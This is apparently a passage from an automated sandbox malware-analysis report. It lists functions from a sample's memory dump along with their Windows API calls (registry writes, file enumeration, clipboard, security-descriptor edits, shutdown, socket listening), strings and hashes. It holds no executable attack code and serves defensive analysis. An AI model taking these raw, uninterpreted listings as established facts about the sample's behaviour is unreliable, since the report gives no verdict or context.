Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Clipboard$Global$Close$AvailableDataFormatLockUnlock$Open
String ID:
API String ID: 3222323430-0
Opcode ID: d6bc0374c6fd7ca74775e595954eb31f572cd5296496505738880e4d19c628a4
Instruction ID: d14f96f085150718d35cbcba1e442c4100f9b2be24593206ff90795a991ab793
Opcode Fuzzy Hash: d6bc0374c6fd7ca74775e595954eb31f572cd5296496505738880e4d19c628a4
Instruction Fuzzy Hash: 2C51EF31204201ABD714EF65DC8AF6F73A8BF84B41F200829F956E22E1DFB0D905CB22

Function 00C3CC0C Relevance: 28.3, APIs: 13, Strings: 3, Instructions: 280timefileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00C3CC3D
FindClose.KERNEL32(00000000), ref: 00C3CC91
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00C3CCB6
FileTimeToLocalFileTime.KERNEL32(?,?), ref: 00C3CCCD
FileTimeToSystemTime.KERNEL32(?,?), ref: 00C3CCF4
__swprintf.LIBCMT ref: 00C3CD40
__swprintf.LIBCMT ref: 00C3CD83

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

__swprintf.LIBCMT ref: 00C3CDD7

Part of subcall function 00BF37FA: __woutput_l.LIBCMT ref: 00BF3853

__swprintf.LIBCMT ref: 00C3CE25

Part of subcall function 00BF37FA: __flsbuf.LIBCMT ref: 00BF3875
Part of subcall function 00BF37FA: __flsbuf.LIBCMT ref: 00BF388D

__swprintf.LIBCMT ref: 00C3CE74
__swprintf.LIBCMT ref: 00C3CEC3
__swprintf.LIBCMT ref: 00C3CF12

Strings

%02d, xrefs: 00C3CDCB, 00C3CDD5, 00C3CE23, 00C3CE72, 00C3CEC1, 00C3CF10
%4d%02d%02d%02d%02d%02d, xrefs: 00C3CD3A
%4d, xrefs: 00C3CD7D

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: __swprintf$FileTime$FindLocal__flsbuf$CloseFirstSystem__woutput_l_memmove
String ID: %02d$%4d$%4d%02d%02d%02d%02d%02d
API String ID: 3953360268-2428617273
Opcode ID: e68c5c31c85136a2cf219b1833af7a38127d11d8ba2d954cadcc6caacb3c2c78
Instruction ID: 52380bdb32270b6ed58854a0dcb5035052d7e3e9a1eea71997901419f933adf0
Opcode Fuzzy Hash: e68c5c31c85136a2cf219b1833af7a38127d11d8ba2d954cadcc6caacb3c2c78
Instruction Fuzzy Hash: BBA12DB1404244ABC710EFA5D986EAFB7ECEF94704F40496AF595D7291EB30DE08CB62

Function 00C3F445 Relevance: 28.1, APIs: 15, Strings: 1, Instructions: 119fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 00C3F466
_wcscmp.LIBCMT ref: 00C3F47B
_wcscmp.LIBCMT ref: 00C3F492
GetFileAttributesW.KERNEL32(?), ref: 00C3F4A4
SetFileAttributesW.KERNEL32(?,?), ref: 00C3F4BE
FindNextFileW.KERNEL32(00000000,?), ref: 00C3F4D6
FindClose.KERNEL32(00000000), ref: 00C3F4E1
FindFirstFileW.KERNEL32(*.*,?), ref: 00C3F4FD
_wcscmp.LIBCMT ref: 00C3F524
_wcscmp.LIBCMT ref: 00C3F53B
SetCurrentDirectoryW.KERNEL32(?), ref: 00C3F54D
SetCurrentDirectoryW.KERNEL32(00C898F8), ref: 00C3F56B
FindNextFileW.KERNEL32(00000000,00000010), ref: 00C3F575
FindClose.KERNEL32(00000000), ref: 00C3F582
FindClose.KERNEL32(00000000), ref: 00C3F594

Strings

*.*, xrefs: 00C3F4F8

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$AttributesCurrentDirectoryFirstNext
String ID: *.*
API String ID: 1803514871-438819550
Opcode ID: 7dc644032e94932c383e21b0490cc50eb1cf91e3117cf36b592c14337465270d
Instruction ID: a26e9679596269e4f7a67c2874510a65c3e6ca24c55c1f62be96b7229ef27877
Opcode Fuzzy Hash: 7dc644032e94932c383e21b0490cc50eb1cf91e3117cf36b592c14337465270d
Instruction Fuzzy Hash: AB31A23190021D7ADB20EFA5DC49BEF77ACAF09320F1409B9F925E3190EB74DA458B64

Function 00C50C7F Relevance: 26.7, APIs: 9, Strings: 6, Instructions: 477registryCOMMON

Download Yara Rule

APIs

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C50D7B
RegCreateKeyExW.ADVAPI32(?,?,00000000,00C60980,00000000,?,00000000,?,?), ref: 00C50DE9
RegCloseKey.ADVAPI32(00000000,00000001,00000000,00000000,00000000), ref: 00C50E31
RegSetValueExW.ADVAPI32(00000001,?,00000000,00000002,?), ref: 00C50EBA
RegCloseKey.ADVAPI32(?), ref: 00C511DA
RegCloseKey.ADVAPI32(00000000), ref: 00C511E7

Strings

REG_SZ, xrefs: 00C50EF8
REG_EXPAND_SZ, xrefs: 00C50E57
REG_MULTI_SZ, xrefs: 00C50FA2
REG_BINARY, xrefs: 00C51175
REG_QWORD, xrefs: 00C51128
REG_DWORD, xrefs: 00C510AB

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Close$ConnectCreateRegistryValue
String ID: REG_BINARY$REG_DWORD$REG_EXPAND_SZ$REG_MULTI_SZ$REG_QWORD$REG_SZ
API String ID: 536824911-966354055
Opcode ID: 3c52036ebefdabeb648dea72d39973d821390cd1144997a4c2c07e08f9a59544
Instruction ID: a8abdb928e35b006c6a4c999130776497ee84edc30c8d75e15e30b64cb1d7885
Opcode Fuzzy Hash: 3c52036ebefdabeb648dea72d39973d821390cd1144997a4c2c07e08f9a59544
Instruction Fuzzy Hash: F0028D75200A019FCB14EF25C845E2AB7E5FF88314F1489ADF95A9B3A2DB30ED45CB85

Function 00C3F5A2 Relevance: 24.6, APIs: 13, Strings: 1, Instructions: 112fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?,771A8FB0,?,00000000), ref: 00C3F5C3
_wcscmp.LIBCMT ref: 00C3F5D8
_wcscmp.LIBCMT ref: 00C3F5EF

Part of subcall function 00C346E2: CreateFileW.KERNEL32(?,40000000,00000001,00000000,00000003,02000080,00000000), ref: 00C346FD

FindNextFileW.KERNEL32(00000000,?), ref: 00C3F61E
FindClose.KERNEL32(00000000), ref: 00C3F629
FindFirstFileW.KERNEL32(*.*,?), ref: 00C3F645
_wcscmp.LIBCMT ref: 00C3F66C
_wcscmp.LIBCMT ref: 00C3F683
SetCurrentDirectoryW.KERNEL32(?), ref: 00C3F695
SetCurrentDirectoryW.KERNEL32(00C898F8), ref: 00C3F6B3
FindNextFileW.KERNEL32(00000000,00000010), ref: 00C3F6BD
FindClose.KERNEL32(00000000), ref: 00C3F6CA
FindClose.KERNEL32(00000000), ref: 00C3F6DC

Strings

*.*, xrefs: 00C3F640

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Find$File$_wcscmp$Close$CurrentDirectoryFirstNext$Create
String ID: *.*
API String ID: 1824444939-438819550
Opcode ID: c61cee3f5b822e8f73f01f76299548406a27556c3b95f4a81b473e4785412769
Instruction ID: 11b69abad89940f903e0bee258177c312bce0be7e50b52951d1a81836bb85c4d
Opcode Fuzzy Hash: c61cee3f5b822e8f73f01f76299548406a27556c3b95f4a81b473e4785412769
Instruction Fuzzy Hash: 6B31FA3190021E7ADF20AF61DC5AAEE77BCDF45324F1005B9F915E31A0DB718F458A64

Function 00C3E0CA Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 185timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00C3E18C
SystemTimeToFileTime.KERNEL32(?,?), ref: 00C3E19C
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00C3E1A8
__wsplitpath.LIBCMT ref: 00C3E206
_wcscat.LIBCMT ref: 00C3E21E
_wcscat.LIBCMT ref: 00C3E230
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00C3E245
SetCurrentDirectoryW.KERNEL32(?), ref: 00C3E259
SetCurrentDirectoryW.KERNEL32(?), ref: 00C3E28B
SetCurrentDirectoryW.KERNEL32(?), ref: 00C3E2AC
_wcscpy.LIBCMT ref: 00C3E2B8
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 00C3E2F7

Strings

*.*, xrefs: 00C3E2B2

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local_wcscat$System__wsplitpath_wcscpy
String ID: *.*
API String ID: 3566783562-438819550
Opcode ID: b673b22c62fd7e43edd10a2c2606e9f11f20f29e7d6c139c87052c496ed9fbfa
Instruction ID: 730133ac0925c8ab7416e40646fe7ede9d40e92ba739f32fa0bc0eaa80e2d1e0
Opcode Fuzzy Hash: b673b22c62fd7e43edd10a2c2606e9f11f20f29e7d6c139c87052c496ed9fbfa
Instruction Fuzzy Hash: 7E618B725146059FC710EF60C884AAFB3E9FF88310F04896EF999D7251EB31EA45CB92

Function 00C286B0 Relevance: 21.2, APIs: 14, Instructions: 179memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C28C03: GetUserObjectSecurity.USER32(?,00000004,?,00000000,?), ref: 00C28C1F
Part of subcall function 00C28C03: GetLastError.KERNEL32(?,00C286E3,?,?,?), ref: 00C28C29
Part of subcall function 00C28C03: GetProcessHeap.KERNEL32(00000008,?,?,00C286E3,?,?,?), ref: 00C28C38
Part of subcall function 00C28C03: HeapAlloc.KERNEL32(00000000,?,00C286E3,?,?,?), ref: 00C28C3F
Part of subcall function 00C28C03: GetUserObjectSecurity.USER32(?,00000004,00000000,?,?), ref: 00C28C56

Part of subcall function 00C28CA0: GetProcessHeap.KERNEL32(00000008,00C286F9,00000000,00000000,?,00C286F9,?), ref: 00C28CAC
Part of subcall function 00C28CA0: HeapAlloc.KERNEL32(00000000,?,00C286F9,?), ref: 00C28CB3
Part of subcall function 00C28CA0: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001,?,00C286F9,?), ref: 00C28CC4

GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 00C28714
_memset.LIBCMT ref: 00C28729
GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 00C28748
GetLengthSid.ADVAPI32(?), ref: 00C28759
GetAce.ADVAPI32(?,00000000,?), ref: 00C28796
AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00C287B2
GetLengthSid.ADVAPI32(?), ref: 00C287CF
GetProcessHeap.KERNEL32(00000008,-00000008), ref: 00C287DE
HeapAlloc.KERNEL32(00000000), ref: 00C287E5
GetLengthSid.ADVAPI32(?,00000008,?), ref: 00C28806
CopySid.ADVAPI32(00000000), ref: 00C2880D
AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 00C2883E
SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 00C28864
SetUserObjectSecurity.USER32(?,00000004,?), ref: 00C28878

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: HeapSecurity$AllocDescriptorLengthObjectProcessUser$Dacl$CopyErrorInformationInitializeLast_memset
String ID:
API String ID: 3996160137-0
Opcode ID: 74cdeb3b98e26c92032634908e6a1508884d4d83095d57cb8ef1d59b9b72f3c9
Instruction ID: 89acba04b8b53647ca1fa03a0fa74c4c4277c09e29397d608b7f9335e4718361
Opcode Fuzzy Hash: 74cdeb3b98e26c92032634908e6a1508884d4d83095d57cb8ef1d59b9b72f3c9
Instruction Fuzzy Hash: A3615871901229AFDF14DFA5EC44FAEBB79FF04304F548129F825A7290DB759A09CB60

Function 00C50802 Relevance: 16.9, APIs: 11, Instructions: 397registryCOMMON

Download Yara Rule

APIs

Part of subcall function 00C51242: CharUpperBuffW.USER32(?,?,?,?,?,?,?,00C501D5,?,?), ref: 00C51259

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 00C508D4

Part of subcall function 00BD4D37: __itow.LIBCMT ref: 00BD4D62
Part of subcall function 00BD4D37: __swprintf.LIBCMT ref: 00BD4DAC

RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 00C50973
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 00C50A0B
RegCloseKey.ADVAPI32(000000FE,000000FE,00000000,?,00000000), ref: 00C50C4A
RegCloseKey.ADVAPI32(00000000), ref: 00C50C57

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: CloseQueryValue$BuffCharConnectRegistryUpper__itow__swprintf
String ID:
API String ID: 1240663315-0
Opcode ID: b56a1076c245fc407efaa98b61821175f072d99464ed236a4d0bba29aafeed5e
Instruction ID: 3faf14f5ae3f9aa019cb8c2896d1008063a3b03a4b89812969d316e50a01b6ca
Opcode Fuzzy Hash: b56a1076c245fc407efaa98b61821175f072d99464ed236a4d0bba29aafeed5e
Instruction Fuzzy Hash: ABE16C34204210AFCB14DF29C895E2BBBE5EF89314B1489ADF85ADB262D731ED45CB52

Function 00C342AA Relevance: 15.1, APIs: 10, Instructions: 108windowCOMMON

Download Yara Rule

APIs

__swprintf.LIBCMT ref: 00C342BE
__swprintf.LIBCMT ref: 00C342CB

Part of subcall function 00BF37FA: __woutput_l.LIBCMT ref: 00BF3853

FindResourceW.KERNEL32(?,?,0000000E), ref: 00C342F5
LoadResource.KERNEL32(?,00000000), ref: 00C34301
LockResource.KERNEL32(00000000), ref: 00C3430E
FindResourceW.KERNEL32(?,?,00000003), ref: 00C3432E
LoadResource.KERNEL32(?,00000000), ref: 00C34340
SizeofResource.KERNEL32(?,00000000), ref: 00C3434F
LockResource.KERNEL32(?), ref: 00C3435B
CreateIconFromResourceEx.USER32(?,?,00000001,00030000,00000000,00000000,00000000), ref: 00C343BC

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Resource$FindLoadLock__swprintf$CreateFromIconSizeof__woutput_l
String ID:
API String ID: 1433390588-0
Opcode ID: 2b3fe5301d4daeb7c2cb5b2a307b1e00751eba6809acdf0eaaa2c9e529e20f29
Instruction ID: b2e6a7a4bdf0cb69ebe4e7ee94a9af12ad9ce3ca96c2945059eaa9325a95b77b
Opcode Fuzzy Hash: 2b3fe5301d4daeb7c2cb5b2a307b1e00751eba6809acdf0eaaa2c9e529e20f29
Instruction Fuzzy Hash: C231AD7161120AABCB599F61DC98FBF7BACEF04301F10441AFA16E3160D770EA11CBA0

Function 00C44614 Relevance: 15.1, APIs: 10, Instructions: 83clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 00C4463B
EmptyClipboard.USER32 ref: 00C44641
GlobalAlloc.KERNEL32(00000002,?), ref: 00C44656
CloseClipboard.USER32 ref: 00C446F5

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: 312d97c18f0b4489872e72e0a6bd85b624bc5e191837bc71a0f2c5107f8846c9
Instruction ID: 6f2f74338a0c36f7323602ba1d05ded2804353c6944986a043a369ea0f6a6657
Opcode Fuzzy Hash: 312d97c18f0b4489872e72e0a6bd85b624bc5e191837bc71a0f2c5107f8846c9
Instruction Fuzzy Hash: 7121C4352016109FDB25AF65EC09B6E77A9FF45720F218056F906AB2A1DBB0ED01CB94

Function 00C3F8A3 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 120filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 00BE1A36: _memmove.LIBCMT ref: 00BE1A77

FindFirstFileW.KERNEL32(?,?,*.*,?,?,00000000,00000000), ref: 00C3F8F0
FindClose.KERNEL32(00000000), ref: 00C3FA03

Part of subcall function 00BD52B0: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00BD52E6

Sleep.KERNEL32(0000000A), ref: 00C3F920
_wcscmp.LIBCMT ref: 00C3F934
_wcscmp.LIBCMT ref: 00C3F94F
FindNextFileW.KERNEL32(?,?), ref: 00C3F9ED

Strings

*.*, xrefs: 00C3F8D5

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: Find$File_wcscmp$CloseFirstMessageNextPeekSleep_memmove
String ID: *.*
API String ID: 2185952417-438819550
Opcode ID: 85fa73f3dcac38bcc068a11df3abc39a1312d87c3cded0411d1de79a75981b2d
Instruction ID: 26255ad179007371e6076043e5f3d42fb12433a06fd88c3050e069bb2ebd1410
Opcode Fuzzy Hash: 85fa73f3dcac38bcc068a11df3abc39a1312d87c3cded0411d1de79a75981b2d
Instruction Fuzzy Hash: 3F418E71D1021AAFCF14DF64CC45BEEBBB4FF15314F2449AAE825A3291EB309A45CB90

Function 00C355E5 Relevance: 10.6, APIs: 3, Strings: 3, Instructions: 59shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 00C2917C: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 00C291C6
Part of subcall function 00C2917C: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 00C291F3
Part of subcall function 00C2917C: GetLastError.KERNEL32 ref: 00C29200

ExitWindowsEx.USER32(?,00000000), ref: 00C35621

Strings

@, xrefs: 00C35614
SeShutdownPrivilege, xrefs: 00C355F1
, xrefs: 00C3560F

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $@$SeShutdownPrivilege
API String ID: 2234035333-194228
Opcode ID: 4bc9e32378e157ade325b1d0e42f12933ed7d5f00cf972b6d0678b0ab3b001b7
Instruction ID: 162f246ca1936224bf809edb35bf26955ee8f46871365080fd85fdb3fbdb6e16
Opcode Fuzzy Hash: 4bc9e32378e157ade325b1d0e42f12933ed7d5f00cf972b6d0678b0ab3b001b7
Instruction Fuzzy Hash: C10126716B4A116BFB38666A9C4BFFF727CEB04741F640824FC27E22E2DAE05D009595

Function 00C46733 Relevance: 9.1, APIs: 6, Instructions: 84networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00C4678C
WSAGetLastError.WSOCK32(00000000), ref: 00C4679B
bind.WSOCK32(00000000,?,00000010), ref: 00C467B7
listen.WSOCK32(00000000,00000005), ref: 00C467C6
WSAGetLastError.WSOCK32(00000000), ref: 00C467E0
closesocket.WSOCK32(00000000,00000000), ref: 00C467F4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ErrorLast$bindclosesocketlistensocket
String ID:
API String ID: 1279440585-0
Opcode ID: 38b6d5a82f8d1184b693ac828f0206443581f875a1643461f4ad31f782103aef
Instruction ID: 313177196d842c941a202d904f68899be1f73d1fc250aef68c140a1ac506e3eb
Opcode Fuzzy Hash: 38b6d5a82f8d1184b693ac828f0206443581f875a1643461f4ad31f782103aef
Instruction Fuzzy Hash: 6F21D0342006049FCB20EF64D985B6EB7F9FF49324F208599E826A73D1CB70AD01CBA1

Function 00BD1663 Relevance: 7.9, APIs: 5, Instructions: 379COMMON

Download Yara Rule

APIs

Part of subcall function 00BD29E2: GetWindowLongW.USER32(?,000000EB), ref: 00BD29F3

DefDlgProcW.USER32(?,?,?,?,?), ref: 00BD1DD6
GetSysColor.USER32(0000000F), ref: 00BD1E2A
SetBkColor.GDI32(?,00000000), ref: 00BD1E3D

Part of subcall function 00BD166C: DefDlgProcW.USER32(?,00000020,?), ref: 00BD16B4

Memory Dump Source

Source File: 0000000C.00000002.2579265983.0000000000BD1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00BD0000, based on PE: true

Associated: 0000000C.00000002.2579229303.0000000000BD0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C60000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579332329.0000000000C85000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579400632.0000000000C8F000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000C.00000002.2579430489.0000000000C98000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_bd0000_Origin.jbxd

Similarity

API ID: ColorProc$LongWindow
String ID:
API String ID: 3744519093-0
Opcode ID: 0dec2733dc0bb1b6d260a976b98c15c9bdffe10818c954dfa53f79107a0cd306
Instruction ID: 453c475b30c9d28fa35529c734de0238961aba74c25cb40cacb4d1793e1110c5
Opcode Fuzzy Hash: 0dec2733dc0bb1b6d260a976b98c15c9bdffe10818c954dfa53f79107a0cd306
Instruction Fuzzy Hash: 97A13574105604BFEA28EB6E9C89E7FB5DEDF41302B1409ABF842D53D1EB209E41D276

Function 00C3C16C Relevance: 7.6, APIs: 5, Instructions: 143fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,?), ref: 00C3C196
_wcscmp.LIBCMT ref: 00C3C1C6
_wcscmp.LIBCMT ref: 00C3C1DB
